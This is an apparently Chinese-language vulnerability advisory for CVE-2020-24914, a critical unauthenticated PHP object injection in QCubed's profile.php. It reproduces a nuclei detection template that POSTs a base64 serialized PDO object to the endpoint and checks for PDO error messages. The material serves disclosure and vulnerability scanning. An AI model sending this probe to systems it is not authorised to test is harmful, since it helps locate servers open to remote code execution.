QCubed PHP Object Injection Vulnerability

漏洞信息

漏洞名称： QCubed PHP Object Injection Vulnerability

漏洞编号：

• CVE： CVE-2020-24914

漏洞类型： 反序列化

漏洞等级： 严重

漏洞描述： QCubed是一个基于PHP的快速应用开发框架，旨在帮助开发者快速构建数据库驱动的Web应用程序。它广泛应用于各种Web开发项目中，特别是在需要快速开发和部署的场景中。该框架的典型部署场景包括企业级服务和常见的Web应用组件。

该漏洞属于反序列化类型，具体是由于QCubed在处理POST数据时，未对用户提供的数据进行适当的验证和过滤，直接进行了反序列化操作。攻击者可以通过构造恶意的POST请求，利用profile.php中的漏洞，实现PHP对象注入，从而在服务器上执行任意代码。这种漏洞的根源在于对不可信数据的反序列化操作，没有实施足够的安全措施来防止恶意数据的注入。

该漏洞的影响极为严重，因为它允许未经身份验证的攻击者远程执行任意代码，完全控制受影响的服务器。这意味着攻击者可以窃取敏感数据、破坏服务、或者利用服务器作为跳板进行进一步的攻击。由于漏洞利用不需要任何形式的认证，且可以通过网络远程触发，因此其风险等级被评定为严重。攻击者可以自动化地利用此漏洞，对互联网上运行受影响版本QCubed的服务器发起大规模攻击。

产品厂商： QCubed

产品名称： QCubed

影响版本： 3.1.1 and all versions

来源： https://github.com/projectdiscovery/nuclei-templates/blob/682c652c896d64ccdad6f94dfcd1b9ddbe30bdc0/http%2Fcves%2F2020%2FCVE-2020-24914.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2020-24914

info:
  name: QCubed - PHP Object Injection (CVE-2020-24914)
  author: riteshs4hu
  severity: critical
  description: |
    QCubed 3.1.1 and all versions contain a PHP object injection caused by unserializing untrusted POST data in profile.php, letting unauthenticated attackers execute arbitrary code via crafted POST requests.
  reference:
    - https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
    - seclists.org/fulldisclosure/2021/Mar/28
    - https://tech.feedyourhead.at/content/QCubed-PHP-Object-Injection-CVE-2020-24914
  classification:
    cwe-id: CWE-502
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    max-request: 1
    product: QCubed
  tags: cve,cve2020,qcubed,rce

requests:
  - method: POST
    path:
      - "{{BaseURL}}/vendor/qcubed/qcubed/assets/php/profile.php"
    headers:
      Content-Type: application/x-www-form-urlencoded
    body: "intDatabaseIndex=1&strReferrer=test&strProfileData=TzozOiJQRE8iOjA6e30%3d"

    matchers:
      - type: word
        part: body
        words:
          - "You cannot serialize or unserialize PDO instances"
          - "PDOException"